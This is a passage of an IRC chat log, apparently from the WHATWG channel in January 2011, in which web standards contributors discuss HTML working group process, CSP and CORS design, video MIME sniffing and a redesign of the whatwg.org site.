E.g. changing the parsing algorithm is something few people will have to say something about, and they will mostly make sense.

[15:05:04.0000] <Hixie>
which is so far from the truth it's laughable, but it is also a theory that matches perfectly the REC model

[15:05:05.0000] <Hixie>
if we did do things that way, versioning would make a lot of sense

[15:06:00.0000] <annevk>
Changing the requirements on alt="" is something a lot of people will have something to say about, and far from all of them make sense.

[15:06:01.0000] <inimino>
annevk ⋱ http://en.wikipedia.org/wiki/Parkinson%27s_Law_of_Triviality

[15:07:00.0000] <annevk>
yay :)

[15:08:00.0000] <annevk>
I first noticed it on my blog. The subjects I found most interesting and difficult almost nobody cared about it. The subjects that were trivial would get lots of attention. Completely opposite to how I thought it ought to work.

[15:10:00.0000] <Hixie>
that's the principle behind bikeshedding

[15:12:00.0000] <inimino>
Yeah, I've experienced the same pattern on my blog.

[15:15:00.0000] <annevk>
Hixie, yeah; for some reason I never really put them together


2011-01-24
[00:11:00.0000] <MikeSmith>
in the node implementation of console object, console.log(args) outputs to standard out, whereas console.error(args) outputs to standard error

[00:12:00.0000] <MikeSmith>
Firebug console and console in other browsers has not distinction between standard out and standard error, right?

[00:12:01.0000] <MikeSmith>
*has no distinction

[00:12:02.0000] <hsivonen>
annevk: I suggest migrating your HTML XML Use Case 05 to the chair-designated location

[00:14:00.0000] <annevk>
we got a Chinese comment

[00:14:01.0000] <Rik`>
MikeSmith: you can filter output in Firebug, WebKit and Firefox 4 console

[00:15:00.0000] <annevk>
hsivonen, sure

[00:15:01.0000] <MikeSmith>
Rik`: filter?

[00:15:02.0000] <MikeSmith>
how so?

[00:15:03.0000] <MikeSmith>
like shell redirection?

[00:15:04.0000] <Rik`>
what shell in Firebug ?

[00:16:00.0000] <Rik`>
In the console panel in Firebug, you can choose to see all messages, only errors, only warnings or only infos

[00:16:01.0000] <MikeSmith>
ah

[00:17:00.0000] <MikeSmith>
OK

[00:17:01.0000] <MikeSmith>
but that's different than stdout vs. stderr, right? I mean in the case of node, its console seems to have two separate output streams, one for stdout and one for stderr

[00:18:00.0000] <MikeSmith>
just like a unix shell

[00:18:01.0000] <MikeSmith>
according to the node docs, at least

[00:18:02.0000] <MikeSmith>
I don't know what good that does you if you can't redict it though

[00:18:03.0000] <MikeSmith>
*redirect

[00:19:00.0000] <Rik`>
well, in browsers, it's a GUI so not the same concept

[00:20:00.0000] <annevk>
hsivonen, done

[00:22:00.0000] <MikeSmith>
d'oh

[00:22:01.0000] <MikeSmith>
I realize now this only makes sense when using node non-interactively

[00:22:02.0000] <MikeSmith>
the node shell itself doesn't have any stdout or stderr

[00:22:03.0000] <MikeSmith>
of course

[00:23:00.0000] <hsivonen>
annevk: thanks

[00:29:00.0000] <hsivonen>
hmm. vast X-wing conspiracy is still only in the queue at http://snowclones.org/the-queue/

[00:30:00.0000] <hsivonen>
I wonder if X=browser will make it to the list

[01:00:00.0000] <jgraham>
Argh, someone just tricked me into opening one of the pointless public-html-testsuite emails with an xml dump of some test results by just putting a question mark in the title

[01:22:00.0000] <annevk>
anything I should not miss in this week's summary?

[01:23:00.0000] <hsivonen>
annevk: don't miss foolip's CCP for the acknowledgement thing

[01:24:00.0000] <foolip>
annevk, I wrote 4 CP this weekend, don't know which might be of general interest

[01:25:00.0000] <jgraham>
annevk: You are talking about whatwg only, or W3C also?

[01:27:00.0000] <annevk>
I am willing to try to include some W3C stuff

[01:27:01.0000] <MikeSmith>
two sets of slides from Silvia:

[01:27:02.0000] <MikeSmith>
http://blog.gingertech.net/wp-content/uploads/2011/01/

[01:28:00.0000] <annevk>
what hsivonen and foolip suggest make sense and I was considering Adam Barth's XSS stuff

[02:29:00.0000] <annevk>
took a little longer this time: http://blog.whatwg.org/another-whatwg-weekly

[02:29:01.0000] <annevk>
actually, not that much longer

[02:33:00.0000] <matjas>
♥ WHATWG Weekly

[02:33:01.0000] <matjas>
kudos annevk

[02:35:00.0000] <kennyluck>
♥ WHATWG Weekly too

[02:45:00.0000] <foolip>
annevk, great write-up!

[02:50:00.0000] <annevk>
doing it for the free Internet karma :)

[02:59:00.0000] <annevk>
might need a different twitter plugin for WordPress

[02:59:01.0000] <annevk>
I would love one that only uses short URLs when absolutely required

[03:04:00.0000] <Rik`>
annevk++

[03:32:00.0000] <hsivonen>
annevk: thanks for the summary

[03:33:00.0000] <hsivonen>
abarth's proposed changes to CSP don't look good to me

[03:33:01.0000] <hsivonen>
both changes would make the system itself more vulnerable against attacks

[03:33:02.0000] <hsivonen>
using <meta> instead of HTTP headers makes it easier to inject bogus policies

[03:34:00.0000] <hsivonen>
and using events instead of an independent reporting channel would allow the attacker to capture the policy violation reports

[03:36:00.0000] <jgraham>
hsivonen: The policy violation reports aren't that useful in themselves are they?

[03:36:01.0000] <annevk>
not sure either about HTML vs HTTP, but events seems a lot simpler than HTTP-based reporting

[03:36:02.0000] <annevk>
CSP is way too complex imo

[03:36:03.0000] <jgraham>
I mean, does anyone expect to be able to detect attacks based on the reports? The bits of the thread I read suggested not

[03:36:04.0000] <jgraham>
Rather they are for when you trip over your own policy

[03:37:00.0000] <jgraham>
Or at least the value of detecting a failed attack is small

[03:37:01.0000] <annevk>
I can not even post to public-html-a11y?

[03:37:02.0000] <annevk>
oh well

[03:37:03.0000] <hsivonen>
jgraham: dunno about usefulness.

[03:38:00.0000] <hsivonen>
but I'm worried that the policy violations become part of Google Analytics and site authors start feeling that blocking ga.js is some kind of preparation of an attack

[03:39:00.0000] <hsivonen>
(IMO, users should be able to block ga.js without loss of site functionality)

[03:39:01.0000] <hsivonen>
(It's pretty obvious that analytics package of your choice is an euphemism for ga.js)

[03:43:00.0000] <jgraham>
hsivonen: I'm not sure I follow. If you block ga.js, nothing gets reported, right? Assuming a javascript API.

[03:46:00.0000] <hsivonen>
jgraham: right. so now if site authors freak out over the prospect of not getting policy violation reports if ga.js is blocked, they might start checking if ga.js got blocked and doing something user-hostile when blocked

[03:47:00.0000] <jgraham>
hsivonen: I see. I have a hard time imagining they will be more freaked out than they are about not getting their precious analytics anyway. But it is a reasonable concern

[04:22:00.0000] <hsivonen>
annevk: Are you gonna write a counter-CP for ISSUE-125 if Julian doesn't drop it?

[04:23:00.0000] <annevk>
no

[04:23:01.0000] <annevk>
I will Formally Object

[04:24:00.0000] <annevk>
I don't think a change to the spec will have any meaningful impact anyway

[04:24:01.0000] <hsivonen>
I wish Julian didn't raise ISSUEs on stuff like this

[04:25:00.0000] <annevk>
I've come to realize that's like wishing for a pony

[04:26:00.0000] <jgraham>
s/pony/unicorn/

[04:31:00.0000] <hsivonen>
annevk: I'm wondering if I should write a CCP. Such a waste of time, though.

[04:33:00.0000] <annevk>
I wonder if I could have written one instead of writing to this thread

[04:36:00.0000] <zcorpan>
foolip: i think in Details of http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoContentType you need to add that Content-Type is explicitly not honored to override HTTP's requirements

[04:36:01.0000] <zcorpan>
foolip: hmm.. or maybe not

[04:38:00.0000] <foolip>
zcorpan, I'm not sure precisely what you mean, can you add the bullet point? (I assume you're right about whatever it is.)

[04:38:01.0000] <foolip>
what does "override HTTP's requirements" mean here?

[04:38:02.0000] <foolip>
the short version of details should be "make it work like <img>"

[04:39:00.0000] <zcorpan>
foolip: i was confused. it's fine

[04:39:01.0000] <zcorpan>
foolip: <img> also ignores error responses, but i assume <video> doesn't

[04:40:00.0000] <annevk>
it should suggest adding a note about that probably

[04:40:01.0000] <foolip>
right, that is different, didn't think of that

[04:40:02.0000] <annevk>
but Hixie will do that anyway

[04:40:03.0000] <annevk>
should <video> not also ignore error responses?

[04:40:04.0000] <zcorpan>
annevk: notes are editorial, let's leave editorial stuff to the editor :)

[04:40:05.0000] <foolip>
we actually need to keep the response code sane for <video>, since we rely on it to detect support for byte range requests

[04:41:00.0000] <annevk>
how else are you going to display a 404 that is a video?

[04:41:01.0000] <foolip>
annevk, you don't, or you use a 404 HTML document pointing to a byte-range-capable video

[04:43:00.0000] <annevk>
seems kind of weird for that to work differently for video

[04:43:01.0000] <annevk>
only EventSource does something special for 404 and such afaik and that's because it's useful API-wise

[04:44:00.0000] <Philip`>
Maybe people will want to detect <video> hotlinking and return a 403 but still return video data complaining to the users about the hotlinking

[04:44:01.0000] <foolip>
perhaps, but there is no problem with the (stable!) status quo here, and we depend on the status code being 200/206 to differentiate between servers that understand Ranges: byte=0- and not

[04:44:02.0000] <Philip`>
(like with <img> hotlinking, except I don't know if people bother with 403 in practice)

[04:45:00.0000] <zcorpan>
Philip`: you can return a 200 hotlink video

[04:46:00.0000] <foolip>
also, the video API differentiates between network errors and decoding errors, and while it's not awesomely useful, I see no reason to change it

[04:52:00.0000] <annevk>
If I would continue in that public-html thread (Sam indicates it is not desired) I would say that specifications without a thorough test suite cannot really be broken. They are broken themselves.

[04:56:00.0000] <Lachy>
interesting media queries showcase http://mediaqueri.es/

[04:56:01.0000] <hsivonen>
annevk: still no plans to write a counter-CP?

[04:56:02.0000] <wilhelm>
Lachy: Oh, pretty.

[04:57:00.0000] <annevk>
hsivonen, if you are going to do it otherwise I will do it (assuming you want to write a no-CP)

[04:58:00.0000] <annevk>
hsivonen, I have wasted enough time already :)

[04:58:01.0000] <hsivonen>
annevk: OK. I'll do it.

[04:58:02.0000] <annevk>
hsivonen, actually, it would not be a no-CP but rather suggesting that we simply update the note

[04:59:00.0000] <annevk>
hsivonen, heh, I think you misunderstood; I will do it

[05:00:00.0000] <hsivonen>
annevk: oh, OK. Thanks.

[05:01:00.0000] <hsivonen>
annevk: I'll cancel my volunteering as soon as the email loops back to me so that I can reply to it

[05:03:00.0000] <Philip`>
Don't you have a copy in a Sent folder you can reply to?

[05:05:00.0000] <hsivonen>
Philip`: Hmm. I guess that would have worked, too.

[05:12:00.0000] <annevk>
I have not avoided process hell

[05:12:01.0000] <foolip>
hehe, even the Chinese guy thought that dropping the 5 was a bad idea :) http://blog.whatwg.org/html-is-the-new-html5#comment-42523

[05:12:02.0000] <annevk>
Or rather, I am going to Process Hell

[05:12:03.0000] <annevk>
Suggesting a change to a Note, teehee

[05:13:00.0000] <annevk>
So much doomed

[05:13:01.0000] <foolip>
annevk, best of luck retaining your sanity

[05:18:00.0000] <zcorpan>
hmm, firefox doesn't like the hotlinking of the font in http://simon.html5.org/html5-elements

[05:18:01.0000] <zcorpan>
boo

[05:19:00.0000] <hsivonen>
zcorpan: would be less of a boo if CORS allowed more options that allowing one Origin or *

[05:20:00.0000] <zcorpan>
CORS doesn't allow multiple origins?

[05:21:00.0000] <zcorpan>
i guess you could modify the CORS headers based on the request, but that'd be annoying to set up

[05:21:01.0000] <karlcow>
http://firstpersoncookie.wordpress.com/2011/01/23/

[05:21:02.0000] <hsivonen>
zcorpan: not anymore. which sucks rather badly if you are a random person with mod_headers instead of being Google

[05:21:03.0000] <zcorpan>
hsivonen: yeah. agree

[05:23:00.0000] <zcorpan>
i wonder how the font+cors thing plays out, it seems opera, safari and chrome allow the hotlinking

[05:24:00.0000] <zcorpan>
benschwarz: if you have ability and want to, you could add some CORS magic to the fonts on developers.whatwg.org

[05:24:01.0000] <hsivonen>
zcorpan: what about IE9?

[05:24:02.0000] <zcorpan>
don't have ie9 here, so dunno

[05:24:03.0000] <annevk>
browsers limiting font linking with CORS are silly

[05:25:00.0000] <benschwarz>
zcorpan: why would that be useful?

[05:25:01.0000] <hsivonen>
I serve the fonts on hsivonen.iki.fi with a CORS header that allows about.validator.nu. If I want to allowed another hostname, I'm out of luck

[05:25:02.0000] <hsivonen>
easier to use *

[05:25:03.0000] <hsivonen>
than to do something that breaks caching

[05:25:04.0000] <zcorpan>
benschwarz: to make http://simon.html5.org/html5-elements less ugly in firefox

[05:26:00.0000] <zcorpan>
benschwarz: i could copy the fonts to my server, but i don't care enough to bother :)

[05:26:01.0000] <benschwarz>
zcorpan: let me check something…

[05:27:00.0000] <zcorpan>
hsivonen: oh yeah, didn't even think about caching

[05:27:01.0000] <zcorpan>
hsivonen: what led to this decision?

[05:27:02.0000] <benschwarz>
hmm :/

[05:27:03.0000] <benschwarz>
I thought that chunkfive might be a google font

[05:27:04.0000] <hsivonen>
zcorpan: not sure. It's annevk's spec.

[05:27:05.0000] <benschwarz>
damn .

[05:28:00.0000] <benschwarz>
zcorpan: do you have the entry required for the htaccess?

[05:28:01.0000] <benschwarz>
can you add it as a ticket, I'll do it in the morning

[05:28:02.0000] <benschwarz>
just about to crash. 1230am here

[05:28:03.0000] <zcorpan>
sure

[05:28:04.0000] <benschwarz>
cheers

[05:31:00.0000] <benschwarz>
zcorpan: if you know the .htaccess stuff I need, please include it

[05:32:00.0000] <zcorpan>
/me also notices that the font size is smaller in opera compared to other browsers

[05:32:01.0000] <zcorpan>
benschwarz: i don't know without looking it up

[05:32:02.0000] <zcorpan>
/me curses monospace fonts and font sizes

[05:50:00.0000] <annevk>
Hixie, I think we should include a link to twitter here http://www.whatwg.org/

[05:51:00.0000] <annevk>
heh, more Chinese comments

[05:52:00.0000] <annevk>
"IE6 supports HTML"

[05:58:00.0000] <wilhelm>
I hope this guy is a troll: http://blog.whatwg.org/html-is-the-new-html5#comment-42468

[05:58:01.0000] <wilhelm>
When clicking on any of the translations on his site, I get an XML parse error.

[06:01:00.0000] <annevk>
Best of the internet is collected in those comments :p

[06:02:00.0000] <matjas>
why no block level anchors on http://whatwg.org/?

[06:03:00.0000] <annevk>
that site was last redesigned in 2005/2006 or so

[06:03:01.0000] <matjas>
ah, that explains why http://forums.whatwg.org/ still says “HTML5 forum”

[06:05:00.0000] <annevk>
December 2006 that is

[06:05:01.0000] <annevk>
matjas, I think that is for marketing

[06:05:02.0000] <annevk>
zcorpan is in charge

[06:06:00.0000] <annevk>
the forums are still active

[06:06:01.0000] <annevk>
I am amazed

[06:12:00.0000] <Ms2ger>
So, just Opera left to support window.onerror?

[06:13:00.0000] <annevk>
I argued for that years ago

[06:13:01.0000] <Ms2ger>
So do it again :)

[06:13:02.0000] <annevk>
I'm old and tired now :p

[06:14:00.0000] <Ms2ger>
Hah

[06:14:01.0000] <Ms2ger>
Let gsnedders do it, he's still young

[06:40:00.0000] <gsnedders>
Ms2ger: Pff, that incurs effort.

[06:40:01.0000] <gsnedders>
Ms2ger: I'm a lazy teenager, remember? :P

[06:41:00.0000] <Ms2ger>
No, you're a nice teenager ;)

[06:49:00.0000] <jgraham>
/me isn't sure that "lazy" and "nice" and antonyms

[07:25:00.0000] <annevk>
hsivonen, http://www.w3.org/Bugs/Public/show_bug.cgi?id=10838 regarding <u> closes without prejudice this week

[07:25:01.0000] <annevk>
hsivonen, http://dev.w3.org/html5/status/issue-status.html#ISSUE-144 is a better link

[07:26:00.0000] <hsivonen>
annevk: thanks

[07:26:01.0000] <hsivonen>
kennyluck: are you going to write a CP by the deadline?

[07:27:00.0000] <hsivonen>
hah. when the table lists "Chairs" as "Responsible", "Deadline" is "n/a"

[07:29:00.0000] <annevk>
presumably their deadline is somewhere before we go to Last Call

[07:29:01.0000] <annevk>
because otherwise we miss that date and the sky will hit fall on the earth

[07:29:02.0000] <annevk>
hit fall, really

[07:53:00.0000] <annevk>
can someone explain to me how ISSUE-148 is different from ISSUE-125/126?

[07:58:00.0000] <hsivonen>
annevk: it's not about what the parser does, right?

[07:59:00.0000] <annevk>
as far as I can tell it is

[08:01:00.0000] <annevk>
it seems Julian raised the same issue again

[08:01:01.0000] <annevk>
and then later escalated his old one

[08:01:02.0000] <annevk>
o_O

[08:29:00.0000] <annevk>
hsivonen, btw, Chrome seems to execute the javascript no matter where <base> is located

[08:29:01.0000] <annevk>
hsivonen, I have not taken the time to investigate further yet

[08:30:00.0000] <annevk>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/789 was my testing thingie

[08:41:00.0000] <TabAtkins>
Hmm.  Where do I report that the Questionnaire title is XSSable?

[08:47:00.0000] <Philip`>
It's not really XSS

[08:47:01.0000] <Philip`>
since the issue is just that trusted people can insert HTML markup onto the site via the title

[08:48:00.0000] <TabAtkins>
Do you trust them not to XSS you?

[08:48:01.0000] <Philip`>
and those people could probably attack the site in much easier ways, given that they're trusted

[08:48:02.0000] <TabAtkins>
Maciej could steal your cookies.

[08:48:03.0000] <Philip`>
They could just edit the HTML WG home page or whatever

[08:48:04.0000] <TabAtkins>
In any case, it makes the title for the <figure> questionnaire kind of meaningless.

[08:49:00.0000] <TabAtkins>
Which is the real issue, of course.

[08:49:01.0000] <Philip`>
Yeah, it's still a bug

[08:49:02.0000] <Philip`>
Sam said he tried to find a way around it but failed, I think

[08:49:03.0000] <TabAtkins>
You can't pre-escape things?

[08:50:00.0000] <TabAtkins>
Or double escape them?  I have to double-escape markup for twitter.

[08:50:01.0000] <Philip`>
It'll appear double-escaped in some other parts of the page, probably

[08:57:00.0000] <TabAtkins>
That's true.  So I just need to complain at the right person in systems.

[08:58:00.0000] <Philip`>
Or ignore it

[09:55:00.0000] <karlcow>
In the http://www.yahoo.com/    <meta http-equiv="X-UA-Compatible" content="chrome=1"> *sigh*

[09:55:01.0000] <TabAtkins>
Chrome Frame is a good thing, though hooking it off of X-UA-Compatible was still a mistake.

[10:04:00.0000] <ben_c>
Have they got chrome frame installing as 'non admin' yet?

[10:05:00.0000] <ben_c>
That's when it'll be super awesome

[10:05:01.0000] <TabAtkins>
No clue.

[10:07:00.0000] <karlcow>
TabAtkins: apart of the name which is plain branding ;) GFC tends to put people into the mode of thinking webkit only and that is no good for interOPERAbility

[10:08:00.0000] <Ms2ger>
I see what you did there

[10:16:00.0000] <kennyluck>
hsivonen, it seems to be that there are various levels of dealing with this rather no-technical issue. I'll start with a change proposal just to remove "ship name". I don't think this reflects you and othermaciej's point but this is likely to draw zero objection.

[10:16:01.0000] <othermaciej>
kennyluck: which issue?

[10:16:02.0000] <kennyluck>
othermaciej: getting <u> back.

[10:17:00.0000] <annevk>
remove "ship name"?

[10:17:01.0000] <othermaciej>
what does "ship name" have to do with that?

[10:18:00.0000] <kennyluck>
My argument was that <u> is for proper noun as <i> is for ship name.

[10:18:01.0000] <kennyluck>
So... as long as <i>  can't be used for ship name, my argument no longer holds.

[10:19:00.0000] <annevk>
that seems rather silly

[10:19:01.0000] <annevk>
:)

[10:19:02.0000] <kennyluck>
(This is marginally related to the main issue, but I am not interested in getting back <u> either)

[10:19:03.0000] <kennyluck>
s/not/not that/

[10:20:00.0000] <othermaciej>
I don't think a change proposal to change <i> would be likely to be considered in scope for the <u> issue

[10:21:00.0000] <kennyluck>
othermaciej: I thought about "Change Proposal: remove semantic tig", but I am not confident.

[10:23:00.0000] <kennyluck>
sigh... I guess I'll write a long one.

[10:25:00.0000] <karlcow>
rediscovering http://www.http-stats.com/

[10:26:00.0000] <annevk>
karlcow, that looks hopelessly outdated and wrong

[10:27:00.0000] <karlcow>
I don't know if there are still running the service.

[10:27:01.0000] <annevk>
"Current statistics are based on a sample of 84604 probed servers, gathered in the last 958 days."

[10:27:02.0000] <karlcow>
yep seen that

[10:27:03.0000] <annevk>
Google should be in the top three

[10:29:00.0000] <karlcow>
and aws

[10:30:00.0000] <annevk>
http://en.wikipedia.org/wiki/Web_server#Market_structure

[10:30:01.0000] <karlcow>
I'm suprised to not see nginx in the top too

[10:31:00.0000] <karlcow>
oh it is

[10:31:01.0000] <karlcow>
doh

[10:31:02.0000] <karlcow>
vendor is the name of the dev

[11:19:00.0000] <annevk>
http://theoatmeal.com/comics/state_web_winter scroll to the end

[11:23:00.0000] <annevk>
HTML Cheetah Balls

[11:23:01.0000] <karlcow>
http://s3.amazonaws.com/theoatmeal-img/comics/state_web_winter/html.jpg

[11:23:02.0000] <annevk>
wfm

[11:24:00.0000] <karlcow>
annevk: be careful, we might be quoted by New-York Times :p

[11:24:01.0000] <annevk>
I'll believe it when it happens

[11:25:00.0000] <karlcow>
;) me too

[11:43:00.0000] <annevk>
unread: 1337

[11:43:01.0000] <annevk>
hah

[11:45:00.0000] <Hixie>
annevk: http://dev.w3.org/2006/webapi/progress/Progress.html needs a 301

[11:46:00.0000] <annevk>
http://w3c-test.org/webapps/tests/XMLHttpRequest/status-basic.htm works :)

[11:50:00.0000] <annevk>
Hixie, I added http://dev.w3.org/cvsweb/2006/webapi/progress/.htaccess but it is not working

[11:50:01.0000] <annevk>
MikeSmith, can you help?

[11:51:00.0000] <annevk>
Hixie, http://dev.w3.org/2006/webapi/progress/ is the new link by the way

[11:51:01.0000] <Ms2ger>
I told him that ;)

[11:52:00.0000] <Hixie>
yeah, i fixed it

[11:52:01.0000] <Hixie>
but i got confused by the other one while fixing it :-)

[11:52:02.0000] <annevk>
in #secrettreehouse?! oooh

[11:52:03.0000] <Hixie>
Ms2ger's bugs are so terse that i have to work out what he means each time :-)

[11:52:04.0000] <annevk>
ah, minimalism is underrated :)

[11:52:05.0000] <Hixie>
and my attempt to force him to include more text always just results in him adding random spaces and words at the end :-P

[11:52:06.0000] <Hixie>
/me glares at Ms2ger :-P

[11:52:07.0000] <Ms2ger>
Hah

[11:53:00.0000] <Ms2ger>
Now you're linking to a 404

[11:53:01.0000] <Hixie>
i am?

[11:53:02.0000] <Hixie>
damnit

[11:54:00.0000] <Ms2ger>
I should have said just "404", actually

[11:54:01.0000] <Hixie>
no i'm not

[11:54:02.0000] <Hixie>
oh, i didn't commit the full change

[11:54:03.0000] <Hixie>
my bad

[11:55:00.0000] <foolip_>
when will people stop slapping x- prefixes on new MIME types, HTTP headers, etc?

[11:55:01.0000] <annevk>
was my .htaccess entry wrong?

[11:55:02.0000] <annevk>
I was pretty sure you could actually set up redirects on that domain

[11:55:03.0000] <annevk>
or maybe they are moderated somehow before being put live?

[11:56:00.0000] <Ms2ger>
http://tools.ietf.org/html/draft-saintandre-xdash-considered-harmful-01

[11:56:01.0000] <Hixie>
oh god, another references section bug from ms2ger

[11:56:02.0000] <Hixie>
the only thing that separates Ms2ger from Julian is that Ms2ger's bugs aren't bogus!

[11:57:00.0000] <annevk>
Ms2ger also closes bogus bugs with witty/non-appropriate-but-funny comments

[11:57:01.0000] <annevk>
I found out the other day

[11:57:02.0000] <Hixie>
hah

[11:57:03.0000] <foolip_>
http://donottrack.us/server.html adds to the fun with X-Do-Not-Track

[11:57:04.0000] <Ms2ger>
Section: http://www.whatwg.org/specs/web-apps/current-work/#refsORIGIN

[11:57:05.0000] <Ms2ger>
What else do you need?

[11:57:06.0000] <Hixie>
man you think i READ the boilerplate? :-P

[11:57:07.0000] <Ms2ger>
You think I'm going to write it out again?

[11:58:00.0000] <micheil>
hmm.. I hate being bad with names; who's the guy who's the envangelist at mozilla with the red hair; chris someone..

[11:59:00.0000] <Ms2ger>
cheilmann?

[11:59:01.0000] <foolip_>
Hixie, abarth, which of you should I talk to about standardizing audio/video type sniffing in http://tools.ietf.org/html/draft-ietf-websec-mime-sniff-00 ?

[11:59:02.0000] <Hixie>
abarth first

[11:59:03.0000] <Hixie>
me if he doesn't have time/inclination to do it

[11:59:04.0000] <annevk>
should also include font sniffing I think

[11:59:05.0000] <foolip_>
abarth, ping me if you read this later

[11:59:06.0000] <foolip_>
(pretty please, etc)

[12:00:00.0000] <annevk>
but I said that already

[12:00:01.0000] <hsivonen>
What are the critical consumer protection mechanisms that this post talks about: http://www.thesecuritypractice.com/the_security_practice/2011/01/mozillas-do-not-track-proposal-must-first-do-no-harm.html ?

[12:00:02.0000] <Ms2ger>
Damn you, Anne, with your WD-style on dev.w3.org!

[12:01:00.0000] <micheil>
Ms2ger: yah, that's him

[12:01:01.0000] <annevk>
Ms2ger, glad you care

[12:02:00.0000] <annevk>
once there's two I might act

[12:02:01.0000] <Ms2ger>
Hah

[12:02:02.0000] <Ms2ger>
Julian?

[12:02:03.0000] <annevk>
/me raises lower bar to three

[12:03:00.0000] <Ms2ger>
Can't think of anyone else :(

[12:05:00.0000] <annevk>
but euh, fix pimpmyspec.net !

[12:05:01.0000] <Ms2ger>
Hixie, surely my bugs are easier than that foreign content bug right at the top of your queue

[12:07:00.0000] <annevk>
Hixie, I would like twitter.com/WHATWG on whatwg.org

[12:07:01.0000] <annevk>
Hixie, if you do not want to sacrifice space I suggest we dump "Demos" for now

[12:08:00.0000] <Ms2ger>
There's demos?

[12:09:00.0000] <Ms2ger>
So I was writing tests, and I just ended up on IRC

[12:11:00.0000] <annevk>
Ms2ger, http://www.whatwg.org/demos/

[12:19:00.0000] <jgraham>
gsnedders: Saw this, thought of you http://www.youtube.com/watch?v=4N1M7Kwl81A

[12:20:00.0000] <gsnedders>
jgraham: That is awesome.

[12:24:00.0000] <jgraham>
gsnedders: Yes

[12:40:00.0000] <Hixie>
Ms2ger: i'm not actually complaining about your bugs, just teasing ;-)

[12:40:01.0000] <Hixie>
Ms2ger: they are indeed easy to deal with :-)

[12:40:02.0000] <Hixie>
Ms2ger, annevk: btw i fully intend to eventually defer to dom core on the infrastructure definitions, i'm just stalling because those are really core to the spec and so i want to make sure we have a really solid story for dom core and so on first (i do change the definitions occasionally, and it has ramifications across a lot of the platform when i do)

[12:41:00.0000] <Hixie>
annevk: i'm happy to add a new one, sure. hold on.

[12:41:01.0000] <Hixie>
annevk: any preferred colour?

[12:41:02.0000] <Ms2ger>
papayawhip

[12:41:03.0000] <Hixie>
what color is that

[12:41:04.0000] <Ms2ger>
Papaya whip is a representation of the color that would result if mashed papayas were blended with vanilla ice cream, whipped cream, or yogurt.

[12:41:05.0000] <jgraham>
Ugly

[12:41:06.0000] <Ms2ger>
Yay, Wikipedia

[12:42:00.0000] <Hixie>
i was looking more for an rgb triple

[12:42:01.0000] <Hixie>
but thanks?

[12:43:00.0000] <Ms2ger>
Hey, it's in CSS3Color!

[12:43:01.0000] <Ms2ger>
(ffefd5)

[12:44:00.0000] <Hixie>
dude that's uglier than the gray we had before

[12:44:01.0000] <jgraham>
/me did say that already :p

[12:44:02.0000] <Ms2ger>
Hah

[12:44:03.0000] <TabAtkins>
papayawhip is the best color

[12:44:04.0000] <Peter`>
But it'd be made from mashed papayas

[12:44:05.0000] <Ms2ger>
I'd raise a Tracker issue for it ;)

[12:45:00.0000] <jgraham>
TabAtkins: I think you meant to say "papayawhip is the best color /you can hope for if you blend papaya with vanilla ice cream, whipped cream, or yoghurt"

[12:46:00.0000] <jgraham>
s|"|/"|

[12:46:01.0000] <Hixie>
ok reload whatwg.org/

[12:47:00.0000] <Ms2ger>
wfm

[12:48:00.0000] <Hixie>
i also put a max-width on the page and centered it

[12:51:00.0000] <annevk>
cool

[12:51:01.0000] <Hixie>
gonna remove everything except those boxes in fact

[12:53:00.0000] <franksalim>
including the "Want to get involved and help out?"

[12:54:00.0000] <Hixie>
yeah, gonna replace that with a box

[12:54:01.0000] <annevk>
is my screen just not wide enough for three columns?

[12:54:02.0000] <annevk>
or are there no three columns possible?

[12:54:03.0000] <annevk>
oh, now it is

[12:54:04.0000] <annevk>
hmmmm

[12:55:00.0000] <annevk>
Hixie, I think matjas_ suggested using wrapper <a> to make the whole box clickable

[12:56:00.0000] <annevk>
Hixie, though that would not work for specs

[12:56:01.0000] <matjas>
+1

[12:56:02.0000] <Hixie>
i just simplified specs so it would work for it

[12:56:03.0000] <Ms2ger>
Wait, are you +1'ing yourself?

[12:56:04.0000] <Hixie>
wouldn't work for Help though

[12:57:00.0000] <annevk>
Help seems somewhat redundant with "Mailing List" and "Forums" and "IRC"

[12:57:01.0000] <annevk>
also, these boxes would do great with transform on :hover :)

[12:59:00.0000] <annevk>
oh, and since we're beyond HTML4, you can drop media="all"

[13:10:00.0000] <annevk>
Hixie, http://www.whatwg.org/mailing-list starts with "we have three lists" and goes on to list four

[13:10:01.0000] <Hixie>
heh

[13:10:02.0000] <Hixie>
fixed

[13:22:00.0000] <abarth>
foolip_: hey

[13:23:00.0000] <Hixie>
does box-shadow not supported being css-transitioned?

[13:23:01.0000] <foolip_>
abarth, hi there

[13:23:02.0000] <TabAtkins>
According to the current draft, no.  But I suspect that's an oversight.

[13:24:00.0000] <abarth>
did you want to talk about video sniffing?

[13:24:01.0000] <foolip_>
abarth, so basically I want to kill Content-Type for <video>, as per http://www.w3.org/html/wg/wiki/ChangeProposals/NoVideoContentType

[13:24:02.0000] <annevk>
Hixie, not per http://www.w3.org/TR/css3-transitions/

[13:24:03.0000] <TabAtkins>
This *should* be defined in css3-backgrounds, but that spec doesn't have a proper section on Interpolating yet.

[13:25:00.0000] <foolip_>
and if that succeeds, we really need interop on the sniffing

[13:25:01.0000] <foolip_>
so I just want to know how we could go about doing that

[13:25:02.0000] <abarth>
foolip_: video sniffing is a big mess.  like other kinds of sniffing, it's race to the bottom, but unlike other kinds of sniffing, it hasn't stablished yet

[13:25:03.0000] <foolip_>
I can come up with the byte patterns for the formats we support, but have no spec editing powers

[13:26:00.0000] <foolip_>
between the formats we support, it's actually rather simple

[13:26:01.0000] <abarth>
yeah?  can you send me a list of the formats / byte patterns?

[13:27:00.0000] <foolip_>
abarth, sure, I summarized the state of things on in a mail some time ago, let me look for it

[13:27:01.0000] <abarth>
k

[13:27:02.0000] <abarth>
ignoring the content-type for <video> would align its behavior with <img>

[13:28:00.0000] <foolip_>
abarth, http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2010-September/028383.html talks about OggS

[13:29:00.0000] <Hixie>
annevk: lame

[13:29:01.0000] <foolip_>
http://lists.whatwg.org/htdig.cgi/whatwg-whatwg.org/2010-September/028371.html talks about WebM

[13:30:00.0000] <foolip_>
and I see I've neglected WAVE, but the format is "RIFF" + any 4 octets + "WAVE"

[13:30:01.0000] <abarth>
how future-proof is OggS\0 ?

[13:31:00.0000] <foolip_>
abarth, you mean if the \0 could become 0x01 ?

[13:31:01.0000] <abarth>
"Opera (GStreamer) simply checks for the string "webm" somewhere in the header"

[13:31:02.0000] <abarth>
boo

[13:31:03.0000] <abarth>
foolip_: yes

[13:31:04.0000] <Hixie>
